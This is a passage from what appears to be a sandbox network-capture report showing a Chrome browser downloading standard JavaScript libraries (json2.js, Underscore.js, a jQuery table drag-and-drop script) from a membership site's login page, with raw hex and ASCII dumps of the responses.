jQuery(jQuery.tableDnD.dragObject); var config = jQuery.tableDnD.currentTable.tableDnDConfig; var mouse
2024-04-23 14:54:00 UTC	1369	IN	Data Raw: 65 27 72 65 20 67 6f 69 6e 67 20 75 70 20 6f 72 20 64 6f 77 6e 2e 2e 2e 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 6d 6f 76 69 6e 67 44 6f 77 6e 20 3d 20 79 20 3e 20 6a 51 75 65 72 79 2e 74 61 62 6c 65 44 6e 44 2e 6f 6c 64 59 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 2f 20 75 70 64 61 74 65 20 74 68 65 20 6f 6c 64 20 76 61 6c 75 65 0a 20 20 20 20 20 20 20 20 20 20 20 20 6a 51 75 65 72 79 2e 74 61 62 6c 65 44 6e 44 2e 6f 6c 64 59 20 3d 20 79 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 2f 20 75 70 64 61 74 65 20 74 68 65 20 73 74 79 6c 65 20 74 6f 20 73 68 6f 77 20 77 65 27 72 65 20 64 72 61 67 67 69 6e 67 0a 09 09 09 69 66 20 28 63 6f 6e 66 69 67 2e 6f 6e 44 72 61 67 43 6c 61 73 73 29 20 7b 0a 09 09 09 09 64 72 61 67 4f 62 6a 2e 61 64 64 43 6c Data Ascii: e're going up or down... var movingDown = y > jQuery.tableDnD.oldY; // update the old value jQuery.tableDnD.oldY = y; // update the style to show we're draggingif (config.onDragClass) {dragObj.addCl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
155	192.168.2.6	49903	104.17.137.104	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:00 UTC	711	OUT	GET /includes/js/json2.js HTTP/1.1 Host: arma1.memberclicks.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://arma1.memberclicks.net/login Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
2024-04-23 14:54:00 UTC	529	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:54:00 GMT Content-Type: application/javascript Content-Length: 17784 Connection: close referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000; includeSubDomains; preload last-modified: Thu, 09 Nov 2023 11:29:58 GMT etag: "4578-609b6860d9980" x-frame-options: sameorigin CF-Cache-Status: MISS Expires: Tue, 23 Apr 2024 15:54:00 GMT Cache-Control: public, max-age=3600 Accept-Ranges: bytes Server: cloudflare CF-RAY: 878eafb31fe3b0b2-ATL
2024-04-23 14:54:00 UTC	840	IN	Data Raw: 2f 2a 0d 0a 20 20 20 20 68 74 74 70 3a 2f 2f 77 77 77 2e 4a 53 4f 4e 2e 6f 72 67 2f 6a 73 6f 6e 32 2e 6a 73 0d 0a 20 20 20 20 32 30 30 39 2d 30 34 2d 31 36 0d 0a 0d 0a 20 20 20 20 50 75 62 6c 69 63 20 44 6f 6d 61 69 6e 2e 0d 0a 0d 0a 20 20 20 20 4e 4f 20 57 41 52 52 41 4e 54 59 20 45 58 50 52 45 53 53 45 44 20 4f 52 20 49 4d 50 4c 49 45 44 2e 20 55 53 45 20 41 54 20 59 4f 55 52 20 4f 57 4e 20 52 49 53 4b 2e 0d 0a 0d 0a 20 20 20 20 53 65 65 20 68 74 74 70 3a 2f 2f 77 77 77 2e 4a 53 4f 4e 2e 6f 72 67 2f 6a 73 2e 68 74 6d 6c 0d 0a 0d 0a 20 20 20 20 54 68 69 73 20 66 69 6c 65 20 63 72 65 61 74 65 73 20 61 20 67 6c 6f 62 61 6c 20 4a 53 4f 4e 20 6f 62 6a 65 63 74 20 63 6f 6e 74 61 69 6e 69 6e 67 20 74 77 6f 20 6d 65 74 68 6f 64 73 3a 20 73 74 72 69 6e 67 69 66 Data Ascii: /* http://www.JSON.org/json2.js 2009-04-16 Public Domain. NO WARRANTY EXPRESSED OR IMPLIED. USE AT YOUR OWN RISK. See http://www.JSON.org/js.html This file creates a global JSON object containing two methods: stringif
2024-04-23 14:54:00 UTC	1369	IN	Data Raw: 65 72 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 74 20 77 69 6c 6c 20 73 70 65 63 69 66 79 20 74 68 65 20 6e 75 6d 62 65 72 20 6f 66 20 73 70 61 63 65 73 20 74 6f 20 69 6e 64 65 6e 74 20 61 74 20 65 61 63 68 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6c 65 76 65 6c 2e 20 49 66 20 69 74 20 69 73 20 61 20 73 74 72 69 6e 67 20 28 73 75 63 68 20 61 73 20 27 5c 74 27 20 6f 72 20 27 26 6e 62 73 70 3b 27 29 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 74 20 63 6f 6e 74 61 69 6e 73 20 74 68 65 20 63 68 61 72 61 63 74 65 72 73 20 75 73 65 64 20 74 6f 20 69 6e 64 65 6e 74 20 61 74 20 65 61 63 68 20 6c 65 76 65 6c 2e 0d 0a 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: er, it will specify the number of spaces to indent at each level. If it is a string (such as '\t' or ' '), it contains the characters used to indent at each level.
2024-04-23 14:54:00 UTC	1369	IN	Data Raw: 2e 67 65 74 55 54 43 48 6f 75 72 73 28 29 29 20 20 20 20 20 2b 20 27 3a 27 20 2b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 28 74 68 69 73 2e 67 65 74 55 54 43 4d 69 6e 75 74 65 73 28 29 29 20 20 20 2b 20 27 3a 27 20 2b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 28 74 68 69 73 2e 67 65 74 55 54 43 53 65 63 6f 6e 64 73 28 29 29 20 20 20 2b 20 27 5a 27 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 3b 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 59 6f 75 20 63 61 6e 20 70 72 6f 76 69 64 65 20 61 6e 20 6f 70 74 69 6f 6e 61 6c 20 72 65 70 6c 61 63 65 72 20 6d 65 74 68 6f 64 2e 20 49 74 20 77 69 6c 6c 20 62 65 20 70 61 73 73 65 64 20 74 68 65 0d 0a 20 20 20 20 20 Data Ascii: .getUTCHours()) + ':' + f(this.getUTCMinutes()) + ':' + f(this.getUTCSeconds()) + 'Z'; }; You can provide an optional replacer method. It will be passed the
2024-04-23 14:54:00 UTC	1369	IN	Data Raw: 63 65 20 70 61 72 61 6d 65 74 65 72 20 69 73 20 61 20 6e 6f 6e 2d 65 6d 70 74 79 20 73 74 72 69 6e 67 2c 20 74 68 65 6e 20 74 68 61 74 20 73 74 72 69 6e 67 20 77 69 6c 6c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 65 20 75 73 65 64 20 66 6f 72 20 69 6e 64 65 6e 74 61 74 69 6f 6e 2e 20 49 66 20 74 68 65 20 73 70 61 63 65 20 70 61 72 61 6d 65 74 65 72 20 69 73 20 61 20 6e 75 6d 62 65 72 2c 20 74 68 65 6e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 68 65 20 69 6e 64 65 6e 74 61 74 69 6f 6e 20 77 69 6c 6c 20 62 65 20 74 68 61 74 20 6d 61 6e 79 20 73 70 61 63 65 73 2e 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 45 78 61 6d 70 6c 65 3a 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 20 3d 20 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 5b 27 Data Ascii: ce parameter is a non-empty string, then that string will be used for indentation. If the space parameter is a number, then the indentation will be that many spaces. Example: text = JSON.stringify(['
2024-04-23 14:54:00 UTC	1369	IN	Data Raw: 20 73 74 72 69 6e 67 73 20 77 69 6c 6c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 2f 20 62 65 20 63 6f 6e 76 65 72 74 65 64 20 74 6f 20 44 61 74 65 20 6f 62 6a 65 63 74 73 2e 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 79 44 61 74 61 20 3d 20 4a 53 4f 4e 2e 70 61 72 73 65 28 74 65 78 74 2c 20 66 75 6e 63 74 69 6f 6e 20 28 6b 65 79 2c 20 76 61 6c 75 65 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 61 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 74 79 70 65 6f 66 20 76 61 6c 75 65 20 3d 3d 3d 20 27 73 74 72 69 6e 67 27 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 61 20 3d 0d 0a 2f 5e 28 5c 64 7b 34 7d 29 2d 28 5c 64 7b 32 7d 29 2d 28 5c 64 7b 32 7d 29 54 28 5c 64 7b Data Ascii: strings will // be converted to Date objects. myData = JSON.parse(text, function (key, value) { var a; if (typeof value === 'string') { a =/^(\d{4})-(\d{2})-(\d{2})T(\d{
2024-04-23 14:54:00 UTC	1369	IN	Data Raw: 6c 20 4a 53 4f 4e 20 2a 2f 0d 0a 0d 0a 2f 2a 6d 65 6d 62 65 72 73 20 22 22 2c 20 22 5c 62 22 2c 20 22 5c 74 22 2c 20 22 5c 6e 22 2c 20 22 5c 66 22 2c 20 22 5c 72 22 2c 20 22 5c 22 22 2c 20 4a 53 4f 4e 2c 20 22 5c 5c 22 2c 20 61 70 70 6c 79 2c 0d 0a 20 20 20 20 63 61 6c 6c 2c 20 63 68 61 72 43 6f 64 65 41 74 2c 20 67 65 74 55 54 43 44 61 74 65 2c 20 67 65 74 55 54 43 46 75 6c 6c 59 65 61 72 2c 20 67 65 74 55 54 43 48 6f 75 72 73 2c 0d 0a 20 20 20 20 67 65 74 55 54 43 4d 69 6e 75 74 65 73 2c 20 67 65 74 55 54 43 4d 6f 6e 74 68 2c 20 67 65 74 55 54 43 53 65 63 6f 6e 64 73 2c 20 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 20 6a 6f 69 6e 2c 0d 0a 20 20 20 20 6c 61 73 74 49 6e 64 65 78 2c 20 6c 65 6e 67 74 68 2c 20 70 61 72 73 65 2c 20 70 72 6f 74 6f 74 79 70 Data Ascii: l JSON //members "", "\b", "\t", "\n", "\f", "\r", "\"", JSON, "\\", apply, call, charCodeAt, getUTCDate, getUTCFullYear, getUTCHours, getUTCMinutes, getUTCMonth, getUTCSeconds, hasOwnProperty, join, lastIndex, length, parse, prototyp
2024-04-23 14:54:00 UTC	1369	IN	Data Raw: 65 66 66 5c 75 66 66 66 30 2d 5c 75 66 66 66 66 5d 2f 67 2c 0d 0a 20 20 20 20 20 20 20 20 65 73 63 61 70 61 62 6c 65 20 3d 20 2f 5b 5c 5c 5c 22 5c 78 30 30 2d 5c 78 31 66 5c 78 37 66 2d 5c 78 39 66 5c 75 30 30 61 64 5c 75 30 36 30 30 2d 5c 75 30 36 30 34 5c 75 30 37 30 66 5c 75 31 37 62 34 5c 75 31 37 62 35 5c 75 32 30 30 63 2d 5c 75 32 30 30 66 5c 75 32 30 32 38 2d 5c 75 32 30 32 66 5c 75 32 30 36 30 2d 5c 75 32 30 36 66 5c 75 66 65 66 66 5c 75 66 66 66 30 2d 5c 75 66 66 66 66 5d 2f 67 2c 0d 0a 20 20 20 20 20 20 20 20 67 61 70 2c 0d 0a 20 20 20 20 20 20 20 20 69 6e 64 65 6e 74 2c 0d 0a 20 20 20 20 20 20 20 20 6d 65 74 61 20 3d 20 7b 20 20 20 20 2f 2f 20 74 61 62 6c 65 20 6f 66 20 63 68 61 72 61 63 74 65 72 20 73 75 62 73 74 69 74 75 74 69 6f 6e 73 0d 0a Data Ascii: eff\ufff0-\uffff]/g, escapable = /[\\\"\x00-\x1f\x7f-\x9f\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g, gap, indent, meta = { // table of character substitutions
2024-04-23 14:54:00 UTC	1369	IN	Data Raw: 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 72 74 69 61 6c 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 6c 75 65 20 3d 20 68 6f 6c 64 65 72 5b 6b 65 79 5d 3b 0d 0a 0d 0a 2f 2f 20 49 66 20 74 68 65 20 76 61 6c 75 65 20 68 61 73 20 61 20 74 6f 4a 53 4f 4e 20 6d 65 74 68 6f 64 2c 20 63 61 6c 6c 20 69 74 20 74 6f 20 6f 62 74 61 69 6e 20 61 20 72 65 70 6c 61 63 65 6d 65 6e 74 20 76 61 6c 75 65 2e 0d 0a 0d 0a 20 20 20 20 20 20 20 20 69 66 20 28 76 61 6c 75 65 20 26 26 20 74 79 70 65 6f 66 20 76 61 6c 75 65 20 3d 3d 3d 20 27 6f 62 6a 65 63 74 27 20 26 26 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 79 70 65 6f 66 20 76 61 6c 75 65 2e 74 6f 4a 53 4f 4e 20 3d 3d 3d 20 27 66 75 6e 63 74 69 6f 6e 27 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 Data Ascii: partial, value = holder[key];// If the value has a toJSON method, call it to obtain a replacement value. if (value && typeof value === 'object' && typeof value.toJSON === 'function') {
2024-04-23 14:54:00 UTC	1369	IN	Data Raw: 75 72 6e 20 27 6e 75 6c 6c 27 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 2f 2f 20 4d 61 6b 65 20 61 6e 20 61 72 72 61 79 20 74 6f 20 68 6f 6c 64 20 74 68 65 20 70 61 72 74 69 61 6c 20 72 65 73 75 6c 74 73 20 6f 66 20 73 74 72 69 6e 67 69 66 79 69 6e 67 20 74 68 69 73 20 6f 62 6a 65 63 74 20 76 61 6c 75 65 2e 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 67 61 70 20 2b 3d 20 69 6e 64 65 6e 74 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 72 74 69 61 6c 20 3d 20 5b 5d 3b 0d 0a 0d 0a 2f 2f 20 49 73 20 74 68 65 20 76 61 6c 75 65 20 61 6e 20 61 72 72 61 79 3f 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 74 6f 53 74 72 69 6e 67 2e 61 70 70 6c 79 28 76 61 6c 75 65 29 20 3d Data Ascii: urn 'null'; }// Make an array to hold the partial results of stringifying this object value. gap += indent; partial = [];// Is the value an array? if (Object.prototype.toString.apply(value) =
2024-04-23 14:54:00 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 72 74 69 61 6c 2e 70 75 73 68 28 71 75 6f 74 65 28 6b 29 20 2b 20 28 67 61 70 20 3f 20 27 3a 20 27 20 3a 20 27 3a 27 29 20 2b 20 76 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 20 65 6c 73 65 20 7b 0d 0a 0d 0a 2f 2f 20 4f 74 68 65 72 77 69 73 65 2c 20 69 74 65 72 61 74 65 20 74 68 72 6f 75 67 68 20 61 6c 6c 20 6f 66 20 74 68 65 20 6b 65 79 73 20 69 6e 20 74 68 65 20 6f 62 6a 65 63 74 2e 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 72 20 Data Ascii: partial.push(quote(k) + (gap ? ': ' : ':') + v); } } } } else {// Otherwise, iterate through all of the keys in the object. for

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
156	192.168.2.6	49904	104.17.137.104	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:00 UTC	729	OUT	GET /ui-v2/js/libs/underscore/underscore.js HTTP/1.1 Host: arma1.memberclicks.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://arma1.memberclicks.net/login Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
2024-04-23 14:54:00 UTC	529	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:54:00 GMT Content-Type: application/javascript Content-Length: 41426 Connection: close referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000; includeSubDomains; preload last-modified: Thu, 09 Nov 2023 11:29:59 GMT etag: "a1d2-609b6861cdbc0" x-frame-options: sameorigin CF-Cache-Status: MISS Expires: Tue, 23 Apr 2024 15:54:00 GMT Cache-Control: public, max-age=3600 Accept-Ranges: bytes Server: cloudflare CF-RAY: 878eafb32ed8677e-ATL
2024-04-23 14:54:00 UTC	840	IN	Data Raw: 2f 2f 20 55 6e 64 65 72 73 63 6f 72 65 2e 6a 73 20 31 2e 34 2e 34 0a 2f 2f 20 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 0a 0a 2f 2f 20 3e 20 68 74 74 70 3a 2f 2f 75 6e 64 65 72 73 63 6f 72 65 6a 73 2e 6f 72 67 0a 2f 2f 20 3e 20 28 63 29 20 32 30 30 39 2d 32 30 31 33 20 4a 65 72 65 6d 79 20 41 73 68 6b 65 6e 61 73 2c 20 44 6f 63 75 6d 65 6e 74 43 6c 6f 75 64 20 49 6e 63 2e 0a 2f 2f 20 3e 20 55 6e 64 65 72 73 63 6f 72 65 20 6d 61 79 20 62 65 20 66 72 65 65 6c 79 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c 69 63 65 6e 73 65 2e 0a 0a 2f 2f 20 42 61 73 65 6c 69 6e 65 20 73 65 74 75 70 0a 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 0a 20 20 2f 2f 20 45 73 Data Ascii: // Underscore.js 1.4.4// ===================// > http://underscorejs.org// > (c) 2009-2013 Jeremy Ashkenas, DocumentCloud Inc.// > Underscore may be freely distributed under the MIT license.// Baseline setup// --------------(function() { // Es
2024-04-23 14:54:00 UTC	1369	IN	Data Raw: 61 79 50 72 6f 74 6f 2e 73 6c 69 63 65 2c 0a 20 20 20 20 20 20 63 6f 6e 63 61 74 20 20 20 20 20 20 20 20 20 20 20 3d 20 41 72 72 61 79 50 72 6f 74 6f 2e 63 6f 6e 63 61 74 2c 0a 20 20 20 20 20 20 74 6f 53 74 72 69 6e 67 20 20 20 20 20 20 20 20 20 3d 20 4f 62 6a 50 72 6f 74 6f 2e 74 6f 53 74 72 69 6e 67 2c 0a 20 20 20 20 20 20 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 20 20 20 3d 20 4f 62 6a 50 72 6f 74 6f 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 3b 0a 0a 20 20 2f 2f 20 41 6c 6c 20 2a 2a 45 43 4d 41 53 63 72 69 70 74 20 35 2a 2a 20 6e 61 74 69 76 65 20 66 75 6e 63 74 69 6f 6e 20 69 6d 70 6c 65 6d 65 6e 74 61 74 69 6f 6e 73 20 74 68 61 74 20 77 65 20 68 6f 70 65 20 74 6f 20 75 73 65 0a 20 20 2f 2f 20 61 72 65 20 64 65 63 6c 61 72 65 64 20 68 65 72 65 2e Data Ascii: ayProto.slice, concat = ArrayProto.concat, toString = ObjProto.toString, hasOwnProperty = ObjProto.hasOwnProperty; // All ECMAScript 5 native function implementations that we hope to use // are declared here.
2024-04-23 14:54:00 UTC	1369	IN	Data Raw: 3b 0a 20 20 20 20 7d 0a 20 20 20 20 65 78 70 6f 72 74 73 2e 5f 20 3d 20 5f 3b 0a 20 20 7d 20 65 6c 73 65 20 7b 0a 20 20 20 20 72 6f 6f 74 2e 5f 20 3d 20 5f 3b 0a 20 20 7d 0a 0a 20 20 2f 2f 20 43 75 72 72 65 6e 74 20 76 65 72 73 69 6f 6e 2e 0a 20 20 5f 2e 56 45 52 53 49 4f 4e 20 3d 20 27 31 2e 34 2e 34 27 3b 0a 0a 20 20 2f 2f 20 43 6f 6c 6c 65 63 74 69 6f 6e 20 46 75 6e 63 74 69 6f 6e 73 0a 20 20 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 0a 20 20 2f 2f 20 54 68 65 20 63 6f 72 6e 65 72 73 74 6f 6e 65 2c 20 61 6e 20 60 65 61 63 68 60 20 69 6d 70 6c 65 6d 65 6e 74 61 74 69 6f 6e 2c 20 61 6b 61 20 60 66 6f 72 45 61 63 68 60 2e 0a 20 20 2f 2f 20 48 61 6e 64 6c 65 73 20 6f 62 6a 65 63 74 73 20 77 69 74 68 20 74 68 65 20 62 75 69 6c Data Ascii: ; } exports._ = _; } else { root._ = _; } // Current version. _.VERSION = '1.4.4'; // Collection Functions // -------------------- // The cornerstone, an `each` implementation, aka `forEach`. // Handles objects with the buil
2024-04-23 14:54:00 UTC	1369	IN	Data Raw: 0a 20 20 20 20 72 65 74 75 72 6e 20 72 65 73 75 6c 74 73 3b 0a 20 20 7d 3b 0a 0a 20 20 76 61 72 20 72 65 64 75 63 65 45 72 72 6f 72 20 3d 20 27 52 65 64 75 63 65 20 6f 66 20 65 6d 70 74 79 20 61 72 72 61 79 20 77 69 74 68 20 6e 6f 20 69 6e 69 74 69 61 6c 20 76 61 6c 75 65 27 3b 0a 0a 20 20 2f 2f 20 2a 2a 52 65 64 75 63 65 2a 2a 20 62 75 69 6c 64 73 20 75 70 20 61 20 73 69 6e 67 6c 65 20 72 65 73 75 6c 74 20 66 72 6f 6d 20 61 20 6c 69 73 74 20 6f 66 20 76 61 6c 75 65 73 2c 20 61 6b 61 20 60 69 6e 6a 65 63 74 60 2c 0a 20 20 2f 2f 20 6f 72 20 60 66 6f 6c 64 6c 60 2e 20 44 65 6c 65 67 61 74 65 73 20 74 6f 20 2a 2a 45 43 4d 41 53 63 72 69 70 74 20 35 2a 2a 27 73 20 6e 61 74 69 76 65 20 60 72 65 64 75 63 65 60 20 69 66 20 61 76 61 69 6c 61 62 6c 65 2e 0a 20 20 Data Ascii: return results; }; var reduceError = 'Reduce of empty array with no initial value'; // Reduce builds up a single result from a list of values, aka `inject`, // or `foldl`. Delegates to ECMAScript 5's native `reduce` if available.
2024-04-23 14:54:00 UTC	1369	IN	Data Raw: 20 20 7d 0a 20 20 20 20 76 61 72 20 6c 65 6e 67 74 68 20 3d 20 6f 62 6a 2e 6c 65 6e 67 74 68 3b 0a 20 20 20 20 69 66 20 28 6c 65 6e 67 74 68 20 21 3d 3d 20 2b 6c 65 6e 67 74 68 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 6b 65 79 73 20 3d 20 5f 2e 6b 65 79 73 28 6f 62 6a 29 3b 0a 20 20 20 20 20 20 6c 65 6e 67 74 68 20 3d 20 6b 65 79 73 2e 6c 65 6e 67 74 68 3b 0a 20 20 20 20 7d 0a 20 20 20 20 65 61 63 68 28 6f 62 6a 2c 20 66 75 6e 63 74 69 6f 6e 28 76 61 6c 75 65 2c 20 69 6e 64 65 78 2c 20 6c 69 73 74 29 20 7b 0a 20 20 20 20 20 20 69 6e 64 65 78 20 3d 20 6b 65 79 73 20 3f 20 6b 65 79 73 5b 2d 2d 6c 65 6e 67 74 68 5d 20 3a 20 2d 2d 6c 65 6e 67 74 68 3b 0a 20 20 20 20 20 20 69 66 20 28 21 69 6e 69 74 69 61 6c 29 20 7b 0a 20 20 20 20 20 20 20 20 6d 65 6d 6f 20 Data Ascii: } var length = obj.length; if (length !== +length) { var keys = _.keys(obj); length = keys.length; } each(obj, function(value, index, list) { index = keys ? keys[--length] : --length; if (!initial) { memo
2024-04-23 14:54:00 UTC	1369	IN	Data Raw: 74 68 20 74 65 73 74 20 66 61 69 6c 73 2e 0a 20 20 5f 2e 72 65 6a 65 63 74 20 3d 20 66 75 6e 63 74 69 6f 6e 28 6f 62 6a 2c 20 69 74 65 72 61 74 6f 72 2c 20 63 6f 6e 74 65 78 74 29 20 7b 0a 20 20 20 20 72 65 74 75 72 6e 20 5f 2e 66 69 6c 74 65 72 28 6f 62 6a 2c 20 66 75 6e 63 74 69 6f 6e 28 76 61 6c 75 65 2c 20 69 6e 64 65 78 2c 20 6c 69 73 74 29 20 7b 0a 20 20 20 20 20 20 72 65 74 75 72 6e 20 21 69 74 65 72 61 74 6f 72 2e 63 61 6c 6c 28 63 6f 6e 74 65 78 74 2c 20 76 61 6c 75 65 2c 20 69 6e 64 65 78 2c 20 6c 69 73 74 29 3b 0a 20 20 20 20 7d 2c 20 63 6f 6e 74 65 78 74 29 3b 0a 20 20 7d 3b 0a 0a 20 20 2f 2f 20 44 65 74 65 72 6d 69 6e 65 20 77 68 65 74 68 65 72 20 61 6c 6c 20 6f 66 20 74 68 65 20 65 6c 65 6d 65 6e 74 73 20 6d 61 74 63 68 20 61 20 74 72 75 74 Data Ascii: th test fails. _.reject = function(obj, iterator, context) { return _.filter(obj, function(value, index, list) { return !iterator.call(context, value, index, list); }, context); }; // Determine whether all of the elements match a trut
2024-04-23 14:54:00 UTC	1369	IN	Data Raw: 20 61 72 72 61 79 20 6f 72 20 6f 62 6a 65 63 74 20 63 6f 6e 74 61 69 6e 73 20 61 20 67 69 76 65 6e 20 76 61 6c 75 65 20 28 75 73 69 6e 67 20 60 3d 3d 3d 60 29 2e 0a 20 20 2f 2f 20 41 6c 69 61 73 65 64 20 61 73 20 60 69 6e 63 6c 75 64 65 60 2e 0a 20 20 5f 2e 63 6f 6e 74 61 69 6e 73 20 3d 20 5f 2e 69 6e 63 6c 75 64 65 20 3d 20 66 75 6e 63 74 69 6f 6e 28 6f 62 6a 2c 20 74 61 72 67 65 74 29 20 7b 0a 20 20 20 20 69 66 20 28 6f 62 6a 20 3d 3d 20 6e 75 6c 6c 29 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 0a 20 20 20 20 69 66 20 28 6e 61 74 69 76 65 49 6e 64 65 78 4f 66 20 26 26 20 6f 62 6a 2e 69 6e 64 65 78 4f 66 20 3d 3d 3d 20 6e 61 74 69 76 65 49 6e 64 65 78 4f 66 29 20 72 65 74 75 72 6e 20 6f 62 6a 2e 69 6e 64 65 78 4f 66 28 74 61 72 67 65 74 29 20 21 3d 20 2d Data Ascii: array or object contains a given value (using `===`). // Aliased as `include`. _.contains = _.include = function(obj, target) { if (obj == null) return false; if (nativeIndexOf && obj.indexOf === nativeIndexOf) return obj.indexOf(target) != -
2024-04-23 14:54:00 UTC	1369	IN	Data Raw: 68 65 72 65 20 3d 20 66 75 6e 63 74 69 6f 6e 28 6f 62 6a 2c 20 61 74 74 72 73 29 20 7b 0a 20 20 20 20 72 65 74 75 72 6e 20 5f 2e 77 68 65 72 65 28 6f 62 6a 2c 20 61 74 74 72 73 2c 20 74 72 75 65 29 3b 0a 20 20 7d 3b 0a 0a 20 20 2f 2f 20 52 65 74 75 72 6e 20 74 68 65 20 6d 61 78 69 6d 75 6d 20 65 6c 65 6d 65 6e 74 20 6f 72 20 28 65 6c 65 6d 65 6e 74 2d 62 61 73 65 64 20 63 6f 6d 70 75 74 61 74 69 6f 6e 29 2e 0a 20 20 2f 2f 20 43 61 6e 27 74 20 6f 70 74 69 6d 69 7a 65 20 61 72 72 61 79 73 20 6f 66 20 69 6e 74 65 67 65 72 73 20 6c 6f 6e 67 65 72 20 74 68 61 6e 20 36 35 2c 35 33 35 20 65 6c 65 6d 65 6e 74 73 2e 0a 20 20 2f 2f 20 53 65 65 3a 20 68 74 74 70 73 3a 2f 2f 62 75 67 73 2e 77 65 62 6b 69 74 2e 6f 72 67 2f 73 68 6f 77 5f 62 75 67 2e 63 67 69 3f 69 64 Data Ascii: here = function(obj, attrs) { return _.where(obj, attrs, true); }; // Return the maximum element or (element-based computation). // Can't 